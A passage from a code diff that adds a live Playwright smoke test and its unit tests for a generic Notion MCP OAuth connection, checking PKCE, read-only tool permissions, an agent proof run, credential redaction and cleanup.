+ request, + config, + "POST", + `/api/issues/${config.taskId}/children`, + input, + `${checkpoint}.create`, + [201], + ); + if (child.status !== "todo") fail(`${checkpoint}.create`, "child_not_created_todo"); + const observedStatuses = new Set(["todo"]); + const finished = await waitFor(`${checkpoint}.run`, async () => { + const issue = await apiJson(request, config, "GET", `/api/issues/${child.id}`, undefined, `${checkpoint}.run`); + observedStatuses.add(issue.status); + if (["blocked", "cancelled"].includes(issue.status)) fail(`${checkpoint}.run`, `child_${issue.status}`); + return issue.status === "done" ? issue : null; + }, { + timeoutMs: Number(process.env.NOTION_AGENT_TIMEOUT_MS || DEFAULT_AGENT_TIMEOUT_MS), + intervalMs: 3_000, + }); + if (!finished.startedAt || !finished.completedAt) fail(`${checkpoint}.run`, "transition_timestamps_missing"); + const commentsResponse = await apiJson( + request, + config, + "GET", + `/api/issues/${child.id}/comments`, + undefined, + `${checkpoint}.comment`, + ); + return { child, finished, observedStatuses, comments: asArray(commentsResponse, "comments") }; +} + +async function cleanupConnection( + request, + config, + companyId, + connectionId, + connectionName, + { requireInstalled = false } = {}, +) { + const removed = await apiJson( + request, + config, + "DELETE", + `/api/tool-connections/${connectionId}`, + undefined, + "F.cleanup", + ); + const receipt = removed.removal; + const removalFacts = connectionRemovalFacts(receipt, { requireInstalled }); + if (!removalFacts) fail("F.cleanup", "incomplete_removal_receipt"); + + const connections = await apiJson( + request, + config, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "F.cleanup-verification", + ); + if (asArray(connections, "connections").some((candidate) => + candidate.id === connectionId + && candidate.name === connectionName + && candidate.status !== "archived")) { + fail("F.cleanup-verification", "test_connection_remains"); + } + const profiles = await apiJson( + request, + config, + "GET", + `/api/companies/${companyId}/tools/profiles`, + undefined, + "F.cleanup-verification", + ); + if (asArray(profiles, "profiles").some((profile) => profile.profileKey === `app:${connectionId}` && profile.status === "active")) { + fail("F.cleanup-verification", "active_profile_remains"); + } + const pending = await apiJson( + request, + config, + "GET", + `/api/companies/${companyId}/tools/action-requests?status=pending`, + undefined, + "F.cleanup-verification", + ); + if (asArray(pending, "actionRequests").some((item) => (item.connectionId ?? item.request?.connectionId) === connectionId)) { + fail("F.cleanup-verification", "pending_action_remains"); + } + return { + completed: true, + ...removalFacts, + pendingActions: 0, + remainingConnections: 0, + }; +} + +async function runSmoke({ config, chromium }) { + const startedAt = new Date(); + const runKey = startedAt.toISOString().replace(/[:.]/g, "-"); + const connectionName = `Notion generic self-test ${startedAt.toISOString()}`; + const outputDirectory = process.env.NOTION_EVIDENCE_DIR + ? path.resolve(process.env.NOTION_EVIDENCE_DIR) + : path.join(process.env.PAPERCLIP_RUN_SCRATCH_DIR || process.cwd(), `notion-generic-live-${runKey}`); + await mkdir(outputDirectory, { recursive: true }); + + const summary = { + schemaVersion: 1, + smoke: "notion_generic_mcp_live", + passed: false, + startedAt: startedAt.toISOString(), + completedAt: null, + target: { companyPrefix: TARGET_COMPANY_PREFIX, resource: NOTION_RESOURCE }, + importPreview: null, + connection: null, + oauthProof: null, + catalog: null, + boardTest: null, + freshRun: null, + cleanup: null, + postCleanupRun: null, + screenshots: [], + failure: null, + }; + + let browser; + let context; + let credential = null; + let connectionId = null; + let companyId = null; + let cleanupComplete = false; + let caughtFailure = null; + let activeCheckpoint = "A.paperclip-login"; + + try { + browser = await chromium.launch({ headless: process.env.NOTION_SMOKE_HEADED !== "1" }); + context = await browser.newContext({ + viewport: { width: 1440, height: 1000 }, + acceptDownloads: false, + serviceWorkers: "block", + }); + const page = await context.newPage(); + + await loginPaperclipBoard(page, context, config); + + activeCheckpoint = "A.company-selection"; + const companies = await apiJson(context.request, config, "GET", "/api/companies", undefined, "A.company-selection"); + const company = asArray(companies, "companies").find((candidate) => candidate.issuePrefix === TARGET_COMPANY_PREFIX); + if (!company) fail("A.company-selection", "pap_company_missing"); + companyId = company.id; + activeCheckpoint = "A.agent-selection"; + const agents = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/agents`, + undefined, + "A.agent-selection", + ); + const agent = asArray(agents, "agents").find((candidate) => candidate.name === TARGET_AGENT_NAME); + if (!agent) fail("A.agent-selection", "codex_coder_pro_missing"); + + activeCheckpoint = "A.connection-isolation"; + const existingConnections = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "A.connection-isolation", + ); + const existingIds = new Set(asArray(existingConnections, "connections").map((entry) => entry.id)); + if (asArray(existingConnections, "connections").some((entry) => entry.name === connectionName && entry.status !== "archived")) { + fail("A.connection-isolation", "connection_name_collision"); + } + + // Fetch only after URL, health, Paperclip login, company, agent, and binding + // metadata have all passed. The value remains in this process and is never + // written to browser artifacts or command arguments. + activeCheckpoint = "A.secret-binding"; + credential = await fetchNotionTestCredentials(config); + + activeCheckpoint = "B.paste-config"; + await gotoWithVisibleMarker( + page, + new URL(`/${TARGET_COMPANY_PREFIX}/apps/advanced/paste-config`, config.baseUrl).toString(), + () => page.getByRole("heading", { name: "Advanced setup", exact: true }), + "B.paste-config", + "advanced_setup_missing", + ); + const configTextarea = page.locator("textarea").first(); + await expectVisible(configTextarea, "B.paste-config", "config_textarea_missing"); + const exactConfig = JSON.stringify({ mcpServers: { notion: { url: NOTION_RESOURCE } } }, null, 2); + await configTextarea.fill(exactConfig); + const importResponsePromise = page.waitForResponse((response) => + response.request().method() === "POST" + && new URL(response.url()).pathname === `/api/companies/${companyId}/tools/mcp/import-json`, + ); + await page.getByRole("button", { name: /^check config$/i }).click(); + const importResponse = await importResponsePromise; + if (!importResponse.ok()) fail("B.import-preview", `http_${importResponse.status()}`); + const preview = await importResponse.json().catch(() => fail("B.import-preview", "invalid_json")); + const drafts = asArray(preview, "drafts"); + if (drafts.length !== 1 + || drafts[0].name !== "notion" + || drafts[0].transport !== "mcp_remote" + || drafts[0].config?.url !== NOTION_RESOURCE + || drafts[0].credentialFields?.length !== 0 + || drafts[0].credentialRefs?.length !== 0) { + fail("B.import-preview", "unexpected_draft"); + } + const afterPreview = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "B.import-preview", + ); + if (asArray(afterPreview, "connections").some((entry) => !existingIds.has(entry.id))) { + fail("B.import-preview", "preview_created_connection"); + } + summary.importPreview = { + draftCount: 1, + name: "notion", + transport: "mcp_remote", + resource: NOTION_RESOURCE, + credentialFieldCount: 0, + credentialRefCount: 0, + }; + + activeCheckpoint = "B.generic-connect"; + const connectionNameInput = page.getByText("Connection name", { exact: true }).locator("input"); + await expectVisible(connectionNameInput, "B.generic-connect", "connection_name_input_missing"); + await connectionNameInput.fill(connectionName); + const paperclipOrigin = new URL(config.baseUrl).origin; + const authorizationRequestPromise = page.waitForRequest((request) => { + if (!request.isNavigationRequest() || request.frame() !== page.mainFrame()) return false; + try { + const target = new URL(request.url()); + return target.protocol === "https:" && target.origin !== paperclipOrigin; + } catch { + return false; + } + }, { timeout: 90_000 }); + await page.getByRole("button", { name: /^check actions$/i }).click({ noWaitAfter: true }); + + // `connect` returns the authorization URL inline, so the UI immediately + // replaces this page with the provider. That navigation can abort a + // Playwright response waiter even though the server committed successfully. + // Persisted connection state is the durable evidence and gives cleanup the + // ID before any provider credential entry. + const createdConnection = await waitFor("B.generic-connect", async () => { + const response = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "B.generic-connect", + ); + const matches = asArray(response, "connections").filter((candidate) => + candidate.name === connectionName && !existingIds.has(candidate.id) && candidate.status !== "archived"); + if (matches.length > 1) fail("B.generic-connect", "duplicate_connection_detected"); + return matches[0] ?? null; + }, { timeoutMs: 90_000, intervalMs: 500 }); + connectionId = createdConnection.id; + // Inspect the initial authorization request, not the provider's eventual + // login page after redirects (which legitimately omits OAuth parameters). + const authorizationRequest = await authorizationRequestPromise.catch(() => + fail("C.oauth-navigation", "authorization_navigation_missing")); + const authorizationUrl = authorizationRequest.url(); + let connection = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}`, + undefined, + "B.generic-connect", + ); + const applications = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/tools/applications`, + undefined, + "B.generic-connect", + ); + const applicationMatches = asArray(applications, "applications").filter((candidate) => + candidate.id === connection.applicationId && candidate.name === connectionName && candidate.status !== "archived"); + if (applicationMatches.length !== 1) fail("B.generic-connect", "application_not_unique"); + const application = applicationMatches[0]; + assertGenericProvenance({ application, connection }, connectionName); + if (connection.authKind !== "oauth") fail("B.generic-connect", "oauth_challenge_missing"); + summary.connection = { + id: connectionId, + applicationId: application.id, + name: connectionName, + applicationKey: application.applicationKey, + metadataSource: "link", + transport: "mcp_remote", + unverifiedServer: true, + status: connection.status, + healthStatus: connection.healthStatus, + }; + + const startResult = persistedOAuthStartResult(connection, authorizationUrl); + if (!startResult) fail("C.oauth-start", "persisted_start_missing"); + if (startResult.connectionId !== connectionId) fail("C.oauth-start", "connection_id_changed"); + activeCheckpoint = "C.oauth-proof"; + const registrationSource = assertAutomaticRegistrationSource(startResult.registrationSource); + const navigationProof = inspectAuthorizationUrl(startResult.authorizationUrl, { + callbackUrl: config.callbackUrl, + resource: NOTION_RESOURCE, + registrationSource, + baseUrl: config.baseUrl, + }); + summary.oauthProof = { + registrationSource, + resource: NOTION_RESOURCE, + callbackUriExact: true, + pkceS256: true, + statePresent: true, + endpoint: navigationProof.endpoint, + parameters: navigationProof.parameters, + discoveredEndpoints: null, + }; + + // Registration source and every URL/PKCE/state invariant are checked before + // the credential is entered into the provider page. + activeCheckpoint = "C.notion-login"; + await completeNotionAuthorization(page, config, credential, connectionId); + activeCheckpoint = "C.oauth-callback"; + const cleanSetupPath = `/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/setup`; + await page.goto(new URL(cleanSetupPath, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText("OAuth connected", { exact: true }), "C.oauth-callback", "connected_state_missing", 45_000); + await expectVisible(page.getByText("Unverified server", { exact: true }), "C.oauth-callback", "unverified_badge_missing"); + + connection = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}`, + undefined, + "C.connection-detail", + ); + if (connection.name !== connectionName + || connection.config?.unverifiedServer !== true + || connection.config?.sourceTemplateKey === "notion" + || connection.authKind !== "oauth") { + fail("C.connection-detail", "generic_provenance_lost"); + } + const endpointProof = oauthEndpointProof(connection, startResult, config); + assertNoCredentialMaterial(connection, [config.paperclipPassword, credential.username, credential.password], "C.connection-detail"); + summary.connection = { + id: connectionId, + applicationId: connection.applicationId, + name: connectionName, + applicationKey: application.applicationKey, + metadataSource: "link", + transport: "mcp_remote", + unverifiedServer: true, + status: connection.status, + healthStatus: connection.healthStatus, + }; + summary.oauthProof = { + registrationSource, + resource: NOTION_RESOURCE, + callbackUriExact: true, + pkceS256: true, + statePresent: true, + endpoint: navigationProof.endpoint, + parameters: navigationProof.parameters, + discoveredEndpoints: endpointProof.endpoints, + }; + const connectedShot = "01-generic-connected.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, connectedShot), config, credential, "F.connected-screenshot"); + summary.screenshots.push(connectedShot); + + activeCheckpoint = "D.health-check"; + const health = await apiJson( + context.request, + config, + "POST", + `/api/tool-connections/${connectionId}/health-check`, + {}, + "D.health-check", + ); + if (health.connection?.healthStatus !== "healthy") fail("D.health-check", "connection_not_healthy"); + const refreshed = await apiJson( + context.request, + config, + "POST", + `/api/tool-connections/${connectionId}/catalog/refresh`, + {}, + "D.catalog-refresh", + ); + const catalog = asArray(refreshed, "catalog"); + const facts = await finishAgentOnlySetup(context.request, config, companyId, connectionId, catalog, agent.id); + + activeCheckpoint = "D.connection-active"; + connection = await apiJson(context.request, config, "GET", `/api/tool-connections/${connectionId}`, undefined, "D.connection-active"); + if (connection.status !== "active" || connection.healthStatus !== "healthy" || connection.config?.unverifiedServer !== true) { + fail("D.connection-active", "connection_not_active_healthy_generic"); + } + const uniqueConnections = await apiJson( + context.request, + config, + "GET", + `/api/companies/${companyId}/tools/connections`, + undefined, + "D.connection-active", + ); + if (asArray(uniqueConnections, "connections").filter((candidate) => candidate.name === connectionName).length !== 1) { + fail("D.connection-active", "duplicate_connection_detected"); + } + const installs = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}/installs`, + undefined, + "D.agent-install", + ); + const installRows = asArray(installs, "installs"); + if (installRows.length !== 1 || installRows[0].targetType !== "agent" || installRows[0].targetId !== agent.id) { + fail("D.agent-install", "install_not_agent_only"); + } + const testAgents = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}/test-agents`, + undefined, + "D.effective-policy", + ); + const testAgent = asArray(testAgents, "agents").find((candidate) => candidate.id === agent.id); + const getSelfAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === NOTION_GET_SELF); + const createPagesAccess = testAgent?.effectiveAccess?.tools?.find((tool) => tool.toolName === NOTION_CREATE_PAGES); + if (getSelfAccess?.decision !== "allowed" || createPagesAccess?.decision !== "off") { + fail("D.effective-policy", "unexpected_effective_decision"); + } + const deniedWrite = await apiJson( + context.request, + config, + "POST", + `/api/tool-connections/${connectionId}/test-calls`, + { agentId: agent.id, toolName: NOTION_CREATE_PAGES, parameters: {} }, + "D.write-denial", + ); + if (deniedWrite.decision !== "off" || typeof deniedWrite.invocationId !== "string" || !deniedWrite.error) { + fail("D.write-denial", "write_action_not_denied"); + } + summary.catalog = { + discoveredCount: refreshed.discoveredCount, + advertisedReadTools: facts.active + .filter((entry) => [NOTION_GET_SELF, "notion-get-users", "notion-fetch"].includes(entry.toolName)) + .map((entry) => entry.toolName), + getSelf: { catalogEntryId: facts.getSelf.id, decision: "allowed" }, + createPages: { + catalogEntryId: facts.createPages.id, + decision: "off", + localDenialInvocationId: deniedWrite.invocationId, + upstreamSent: false, + }, + accessAgentId: agent.id, + installAgentId: agent.id, + enabledCatalogEntryCount: 1, + healthCheck: "healthy", + catalogRefresh: "succeeded", + }; + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/permissions`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText("Who can use it", { exact: true }), "D.permissions-ui", "permissions_panel_missing"); + const getSelfPermission = page.locator(`[data-action-id="${facts.getSelf.id}"] select`); + const createPagesPermission = page.locator(`[data-action-id="${facts.createPages.id}"] select`); + await expectVisible(getSelfPermission, "D.permissions-ui", "get_self_permission_missing"); + await expectVisible(createPagesPermission, "D.permissions-ui", "create_pages_permission_missing"); + if (await getSelfPermission.inputValue() !== "allowed" || await createPagesPermission.inputValue() !== "off") { + fail("D.permissions-ui", "permissions_ui_mismatch"); + } + const permissionsShot = "02-read-only-policy.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, permissionsShot), config, credential, "F.permissions-screenshot"); + summary.screenshots.push(permissionsShot); + + activeCheckpoint = "D.test-panel"; + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/test`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByLabel("Choose which agent to test as"), "D.test-panel", "agent_picker_missing"); + await page.getByLabel("Choose which agent to test as").click(); + await page.getByLabel("Search agents").fill(TARGET_AGENT_NAME); + await page.getByRole("button", { name: new RegExp(`^${escapeRegex(TARGET_AGENT_NAME)}`) }).click(); + await page.getByLabel("Find an action").fill(NOTION_GET_SELF); + const getSelfTitle = facts.getSelf.title ?? facts.getSelf.toolName; + const actionRow = page.locator("button").filter({ hasText: getSelfTitle }).filter({ hasText: "Allowed" }).first(); + await expectVisible(actionRow, "D.test-panel", "get_self_allowed_row_missing"); + await actionRow.click(); + await expectVisible(page.getByText("This action takes no inputs."), "D.test-panel", "empty_input_form_missing"); + const boardStartedAt = Date.now(); + const testCallResponsePromise = page.waitForResponse((response) => + response.request().method() === "POST" + && new URL(response.url()).pathname === `/api/tool-connections/${connectionId}/test-calls`, + ); + await page.getByRole("button", { name: /^run$/i }).click(); + const testCallResponse = await testCallResponsePromise; + if (!testCallResponse.ok()) fail("D.board-get-self", `http_${testCallResponse.status()}`); + const testCall = await testCallResponse.json().catch(() => fail("D.board-get-self", "invalid_json")); + const testCallInput = testCallResponse.request().postDataJSON(); + if (testCallInput?.agentId !== agent.id + || testCallInput?.toolName !== NOTION_GET_SELF + || !testCallInput.parameters + || Object.keys(testCallInput.parameters).length !== 0) { + fail("D.board-get-self", "nonempty_or_unexpected_input"); + } + if (testCall.decision !== "allowed" || testCall.error || typeof testCall.invocationId !== "string") { + fail("D.board-get-self", "gateway_call_not_allowed"); + } + const boardIdentity = extractNotionIdentity(testCall.result); + if (!boardIdentity) fail("D.board-get-self", "workspace_identity_missing"); + await expectVisible(page.getByText(/^Worked\./), "D.board-get-self", "success_result_missing"); + const boardShot = "03-board-notion-get-self.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, boardShot), config, credential, "F.board-test-screenshot"); + summary.screenshots.push(boardShot); + summary.boardTest = { + catalogEntryId: facts.getSelf.id, + toolName: NOTION_GET_SELF, + invocationId: testCall.invocationId, + decision: "allowed", + resultStatus: "succeeded", + workspace: boardIdentity, + durationMs: Date.now() - boardStartedAt, + }; + + activeCheckpoint = "E.fresh-agent"; + const proofIssue = await createAndWaitForProofIssue(context.request, config, { + title: `Notion generic installed-tool proof ${startedAt.toISOString()}`, + description: [ + "Invoke exactly one installed action: the read-only `notion-get-self` tool with an empty `{}` input.", + "Make no Notion mutation and do not invoke any other Notion action.", + `Require workspace ID ${boardIdentity.workspaceId} and workspace name ${boardIdentity.workspaceName}.`, + "Post exactly one JSON object with keys `workspaceId`, `workspaceName`, and `invocationId` (the Paperclip invocation ID), then mark this issue done.", + "Do not report tokens, cookies, headers, authorization data, raw payloads, or any other fields.", + ].join("\n\n"), + status: "todo", + workMode: "standard", + priority: "medium", + assigneeAgentId: agent.id, + acceptanceCriteria: [ + "The installed notion-get-self action succeeds with empty input.", + "Only sanitized workspace ID/name and Paperclip invocation ID are reported.", + "No Notion mutation is attempted.", + ], + }, "E.fresh-agent"); + for (const comment of proofIssue.comments) { + assertNoCredentialMaterial(comment.body, [credential.username, credential.password], "E.agent-proof-comment"); + } + const proof = proofIssue.comments + .filter((comment) => comment.authorAgentId === agent.id || comment.derivedAuthorAgentId === agent.id) + .map((comment) => parseSanitizedAgentProof(comment.body, boardIdentity)) + .find(Boolean); + if (!proof) fail("E.agent-proof-comment", "sanitized_proof_missing"); + + let finalActivity; + const agentEvent = await waitFor("E.agent-audit", async () => { + const activity = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}/activity?limit=100`, + undefined, + "E.agent-audit", + ); + assertNoCredentialMaterial(activity, [credential.username, credential.password], "E.agent-audit"); + finalActivity = activity; + return asArray(activity, "events").find((event) => + event.issueId === proofIssue.child.id + && event.agentId === agent.id + && event.toolName === NOTION_GET_SELF + && event.invocationId === proof.invocationId + && event.outcome === "success") ?? null; + }, { timeoutMs: 60_000, intervalMs: 2_000 }); + if (!agentEvent.runId) fail("E.agent-audit", "run_id_missing"); + if (agentEvent.requestSummary?.summary !== "{}") fail("E.agent-audit", "get_self_input_not_empty"); + const childToolEvents = asArray(finalActivity, "events").filter((event) => + event.issueId === proofIssue.child.id && event.invocationId); + if (childToolEvents.length !== 1 || childToolEvents[0].toolName !== NOTION_GET_SELF) { + fail("E.agent-audit", "unexpected_upstream_action"); + } + const agentRun = await waitFor("E.agent-run-status", async () => { + const run = await apiJson(context.request, config, "GET", `/api/heartbeat-runs/${agentEvent.runId}`, undefined, "E.agent-run-status"); + if (["failed", "cancelled", "timed_out"].includes(run.status)) fail("E.agent-run-status", `run_${run.status}`); + return run.status === "succeeded" ? run : null; + }, { timeoutMs: 60_000, intervalMs: 2_000 }); + summary.freshRun = { + issueId: proofIssue.child.id, + issueIdentifier: proofIssue.child.identifier, + transition: { + created: "todo", + enteredInProgress: proofIssue.observedStatuses.has("in_progress") || Boolean(proofIssue.finished.startedAt), + completed: "done", + }, + runId: agentEvent.runId, + runStatus: agentRun.status, + invocationId: proof.invocationId, + workspace: { id: proof.workspaceId, name: proof.workspaceName }, + connectionId, + decision: agentEvent.decision ?? "allowed", + outcome: agentEvent.outcome, + durationMs: agentEvent.latencyMs, + }; + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/issues/${proofIssue.child.identifier}`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText(proofIssue.child.title, { exact: true }).first(), "F.child-screenshot", "child_issue_missing"); + const childShot = "04-fresh-agent-proof.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, childShot), config, credential, "F.child-screenshot"); + summary.screenshots.push(childShot); + + await page.goto(new URL(`/${TARGET_COMPANY_PREFIX}/apps/${connectionId}/activity`, config.baseUrl).toString(), { waitUntil: "domcontentloaded" }); + await expectVisible(page.getByText(NOTION_GET_SELF, { exact: false }).first(), "F.activity-screenshot", "get_self_activity_missing"); + const activityShot = "05-redacted-audit.png"; + await safeScreenshot(page, screenshotFile(outputDirectory, activityShot), config, credential, "F.activity-screenshot"); + summary.screenshots.push(activityShot); + + activeCheckpoint = "F.cleanup"; + summary.cleanup = await cleanupConnection( + context.request, + config, + companyId, + connectionId, + connectionName, + { requireInstalled: true }, + ); + cleanupComplete = true; + + activeCheckpoint = "F.post-cleanup-runtime"; + const absenceIssue = await createAndWaitForProofIssue(context.request, config, { + title: `Notion generic cleanup runtime proof ${startedAt.toISOString()}`, + description: [ + `Inspect the tools available in this fresh runtime after generic connection ${connectionId} was removed.`, + "Do not call any Notion tool. Confirm `notion-get-self` from that removed connection is absent.", + `Post exactly {\"connectionId\":\"${connectionId}\",\"toolPresent\":false} and mark this issue done.`, + "Do not report any other fields or credential material.", + ].join("\n\n"), + status: "todo", + workMode: "standard", + priority: "medium", + assigneeAgentId: agent.id, + acceptanceCriteria: [ + "A fresh runtime does not expose the removed generic connection's notion-get-self tool.", + "No Notion action is invoked.", + ], + }, "F.post-cleanup-runtime"); + const absenceProof = absenceIssue.comments + .filter((comment) => comment.authorAgentId === agent.id || comment.derivedAuthorAgentId === agent.id) + .map((comment) => parseRuntimeAbsenceProof(comment.body, connectionId)) + .find(Boolean); + if (!absenceProof) fail("F.post-cleanup-runtime", "absence_proof_missing"); + const afterCleanupActivity = await apiJson( + context.request, + config, + "GET", + `/api/tool-connections/${connectionId}/activity?limit=100`, + undefined, + "F.post-cleanup-runtime", + ); + if (asArray(afterCleanupActivity, "events").some((event) => event.issueId === absenceIssue.child.id && event.invocationId)) { + fail("F.post-cleanup-runtime", "post_cleanup_tool_invocation_detected"); + } + summary.postCleanupRun = { + issueId: absenceIssue.child.id, + issueIdentifier: absenceIssue.child.identifier, + connectionId, + toolPresent: false, + invocationCount: 0, + completed: "done", + }; + summary.passed = true; + } catch (error) { + caughtFailure = error instanceof SmokeFailure + ? error + : error instanceof NotionGenericLivePreflightError + ? new SmokeFailure(activeCheckpoint, error.code) + : new SmokeFailure(activeCheckpoint, "unexpected_error"); + } finally { + if (connectionId && companyId && context && !cleanupComplete) { + try { + summary.cleanup = await cleanupConnection(context.request, config, companyId, connectionId, connectionName); + cleanupComplete = true; + } catch { + summary.cleanup = { completed: false, code: "cleanup_failed" }; + if (!caughtFailure) caughtFailure = new SmokeFailure("F.cleanup", "cleanup_failed"); + } + } + await context?.close().catch(() => {}); + await browser?.close().catch(() => {}); + } + + summary.completedAt = new Date().toISOString(); + if (caughtFailure) summary.failure = { checkpoint: caughtFailure.checkpoint, code: caughtFailure.code }; + assertSanitizedEvidence(summary); + const summaryPath = path.join(outputDirectory, "summary.json"); + await writeFile(summaryPath, `${JSON.stringify(summary, null, 2)}\n`, { mode: 0o600 }); + if (caughtFailure) throw caughtFailure; + return { outputDirectory, summaryPath, screenshots: summary.screenshots }; +} + +async function main() { + const dryRun = process.argv.includes("--dry-run"); + let prepared; + try { + prepared = await prepareNotionGenericLiveSmoke({ + loadBrowser: dryRun ? async () => null : () => import("@playwright/test"), + }); + } catch (error) { + process.stderr.write(`${preflightFailureMessage(error)}\n`); + process.exitCode = error instanceof NotionGenericLivePreflightError ? 2 : 1; + return; + } + if (dryRun) { + process.stdout.write("Notion generic live smoke dry-run passed; no credential value was fetched.\n"); + return; + } + try { + const result = await runSmoke({ config: prepared.config, chromium: prepared.browserModule.chromium }); + process.stdout.write(`Notion generic live smoke passed. Sanitized evidence: ${result.outputDirectory}\n`); + } catch (error) { + const failure = error instanceof SmokeFailure ? error : new SmokeFailure("unexpected", "unexpected_error"); + process.stderr.write(`Notion generic live smoke failed at ${failure.checkpoint} (${failure.code}).\n`); + process.exitCode = 1; + } +} + +await main(); diff --git a/scripts/smoke/notion-generic-live.test.mjs b/scripts/smoke/notion-generic-live.test.mjs new file mode 100644 index 0000000000..44a0768add --- /dev/null +++ b/scripts/smoke/notion-generic-live.test.mjs @@ -0,0 +1,286 @@ +import assert from "node:assert/strict"; +import test from "node:test"; +import { + assertAutomaticRegistrationSource, + assertSanitizedEvidence, + connectionRemovalFacts, + extractNotionIdentity, + extractNotionVerificationCode, + inspectAuthorizationUrl, + isFreshNotionVerificationMessage, + NotionGenericLivePreflightError, + notionVerificationAuthenticationPassed, + parseRuntimeAbsenceProof, + parseSanitizedAgentProof, + persistedOAuthStartResult, + preflightNotionGenericLive, + prepareNotionGenericLiveSmoke, + safeEndpointSummary, +} from "./notion-generic-live-lib.mjs"; + +const COMPLETE_ENV = { + PAPERCLIP_E2E_BASE_URL: "https://paperclip.example.test", + PAPERCLIP_E2E_EMAIL: "operator@example.test", + PAPERCLIP_DEV_LOGIN_PASSWORD: "not-a-real-password", + PAPERCLIP_API_URL: "https://paperclip.example.test/api", + PAPERCLIP_API_KEY: "not-a-real-agent-key", + PAPERCLIP_RUN_ID: "run-123", + PAPERCLIP_TASK_ID: "issue-123", +}; + +test("preflight reports binding names without exposing supplied values", () => { + assert.throws( + () => preflightNotionGenericLive({ PAPERCLIP_DEV_LOGIN_PASSWORD: "present" }), + (error) => { + assert.ok(error instanceof NotionGenericLivePreflightError); + assert.equal(error.code, "missing_environment"); + assert.deepEqual(error.details.missing, [ + "PAPERCLIP_E2E_BASE_URL", + "PAPERCLIP_E2E_EMAIL", + "PAPERCLIP_API_URL", + "PAPERCLIP_API_KEY", + "PAPERCLIP_RUN_ID", + "PAPERCLIP_TASK_ID", + ]); + assert.doesNotMatch(error.message, /present/); + return true; + }, + ); +}); + +test("preflight requires explicit credential-free HTTPS target and control-plane URLs", () => { + for (const baseUrl of [ + "http://127.0.0.1:3100", + "http://paperclip.example.test", + "https://user:secret@paperclip.example.test", + "https://paperclip.example.test/?code=secret", + ]) { + assert.throws( + () => preflightNotionGenericLive({ ...COMPLETE_ENV, PAPERCLIP_E2E_BASE_URL: baseUrl }), + (error) => error instanceof NotionGenericLivePreflightError && error.code === "unsafe_base_url", + ); + } + const split = preflightNotionGenericLive({ + ...COMPLETE_ENV, + PAPERCLIP_API_URL: "https://control-plane.example.test/api", + }); + assert.equal(split.baseUrl, "https://paperclip.example.test"); + assert.equal(split.apiBaseUrl, "https://control-plane.example.test/api"); +}); + +test("health and binding metadata pass before browser loading, without fetching the value", async () => { + const requests = []; + let browserLoaded = false; + const prepared = await prepareNotionGenericLiveSmoke({ + environment: COMPLETE_ENV, + fetchImpl: async (url, init = {}) => { + requests.push({ url: String(url), method: init.method ?? "GET" }); + if (String(url).endsWith("/api/health")) { + return { ok: true, json: async () => ({ status: "ok" }) }; + } + return { + ok: true, + json: async () => ({ secrets: [{ key: "generic-flow-test-account", delivery: "api" }] }), + }; + }, + loadBrowser: async () => { + browserLoaded = true; + return { chromium: {} }; + }, + }); + assert.equal(prepared.config.callbackUrl, "https://paperclip.example.test/api/tools/oauth/callback"); + assert.equal(browserLoaded, true); + assert.deepEqual(requests.map((entry) => entry.method), ["GET", "GET"]); + assert.equal(requests.some((entry) => entry.url.includes("/value")), false); +}); + +test("an unavailable secret binding fails before browser or credential entry", async () => { + let browserLoaded = false; + await assert.rejects( + prepareNotionGenericLiveSmoke({ + environment: COMPLETE_ENV, + fetchImpl: async (url) => String(url).endsWith("/api/health") + ? { ok: true, json: async () => ({ status: "ok" }) } + : { ok: true, json: async () => ({ secrets: [] }) }, + loadBrowser: async () => { + browserLoaded = true; + }, + }), + (error) => error instanceof NotionGenericLivePreflightError && error.code === "secret_binding_unavailable", + ); + assert.equal(browserLoaded, false); +}); + +test("selects only fresh authenticated Notion verification mail and extracts one code", () => { + const notBefore = new Date("2026-08-18T12:00:00.000Z"); + const message = { + timestamp: new Date("2026-08-18T12:00:05.000Z"), + from: "Notion ", + subject: "Your Notion login code", + extractedText: "Your temporary login code is 123 456.", + headers: { + "authentication-results": "dkim=pass; spf=pass; dmarc=pass", + }, + }; + assert.equal(isFreshNotionVerificationMessage(message, { notBefore }), true); + assert.equal(notionVerificationAuthenticationPassed(message), true); + assert.equal(extractNotionVerificationCode(message), "123456"); + assert.equal(isFreshNotionVerificationMessage({ + ...message, + timestamp: new Date("2026-08-18T11:59:59.000Z"), + }, { notBefore }), false); + assert.equal(isFreshNotionVerificationMessage({ + ...message, + from: "Notion ", + }, { notBefore }), false); + assert.equal(notionVerificationAuthenticationPassed({ + ...message, + headers: { "authentication-results": "dkim=fail; spf=pass" }, + }), false); + assert.equal(extractNotionVerificationCode({ ...message, extractedText: "Codes 123456 and 654321" }), null); +}); + +test("authorization proof requires automatic registration, PKCE, callback, resource, and safe endpoints", () => { + assert.equal(assertAutomaticRegistrationSource("cimd"), "cimd"); + assert.equal(assertAutomaticRegistrationSource("dcr"), "dcr"); + for (const source of ["manual", "preconfigured", null]) { + assert.throws( + () => assertAutomaticRegistrationSource(source), + 